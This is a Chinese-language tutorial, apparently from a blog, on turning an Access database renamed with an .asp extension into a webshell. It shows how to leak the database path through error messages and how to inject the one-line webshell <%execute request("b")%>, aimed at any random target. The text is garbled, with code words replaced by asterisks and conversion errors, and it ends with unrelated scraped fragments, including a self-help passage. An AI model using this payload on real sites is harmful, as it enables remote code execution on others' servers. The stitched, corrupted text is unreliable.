一.思路
大家都知道<%%>為asp檔案的標誌符,也就是說乙個asp檔案只會去執行<% %>之間的**,access+asp的web系統的所有資料都是存放在資料庫檔案裡(mdb檔案),由於管理者把mdb檔案改為了asp檔案,如果我們提交的資料裡包含有<% %>,那當我們訪問這個asp資料庫的時候就會去執行<% %>之間的**。這樣導致我們只提交惡意**給資料庫,那麼asp字尾的資料庫就是我們的webshell了。
二.示例
隨便找個目標,首先我們暴庫,看是不是asp字尾的資料庫:
返回:microsoft vbscript 編譯器錯誤 錯誤 '800a03f6'
缺少 'end'
/iishelp/common/500-100.asp,行242
microsoft jet database engine 錯誤 '80004005'
'd:/log_mdb/%29dlog_mdb%29.asp'不是乙個有效的路徑。 確定路徑名稱拼寫是否正確,以及是否連線到檔案存放的伺服器。
/test/conn.asp,行18
< %execute request("b")%>
這樣我們就把asp**:<%execute request("b")%>寫入了資料庫,那麼資料庫:就是我們的webshell咯。提交:在亂碼的最後我們看到:
/iishelp/common/500-100.asp,行242
microsoft vbscript 執行時錯誤 錯誤 '800a000d'
型別不匹配: 'execute'
/test/dlog/log_mdb/%29dlog_mdb%29.asp,行1266
我們的插入的**執行了。如下圖:
注意:我們在向資料庫提交**時,**內容不可以太大。所以我們採用<%execute request("b")%>。
三.其他一些問題和思路
改mdb為asp所帶來的災難
一 思路 大家都知道 為asp檔案的標誌符,也就是說乙個asp檔案只會去執行 之間的 access asp的web系統的所有資料都是存放在資料庫檔案裡 mdb檔案 由於管理者把mdb檔案改為了asp檔案,如果我們提交的資料裡包含有 那當我們訪問這個asp資料庫的時候就會去執行 之間的 這樣導致我們只...
用ASP開啟遠端MDB檔案
如果你用odbc connection dsn or dsn less 來訪問遠端的 unc path 資料庫,oledb會出現以下錯誤資訊 microsoft ole db provider for odbc drivers error 80004005 microsoft odbc micros...
自然 接納 內觀 為所當為
自然是什麼,就是一切的存在。順其自然是什麼,就是不要去改變一切的存在,不要去阻止一切的存在。就如江河之水奔流向海,我們不要去逆之,也根本逆之不了,我們只是站在岸邊看著一江春水向東流而已。接納是什麼,就是承認,就是不改變什麼,就讓它如此。任何試圖改變什麼的,都不是接受。這仍如江河之水奔流向海,我們不要...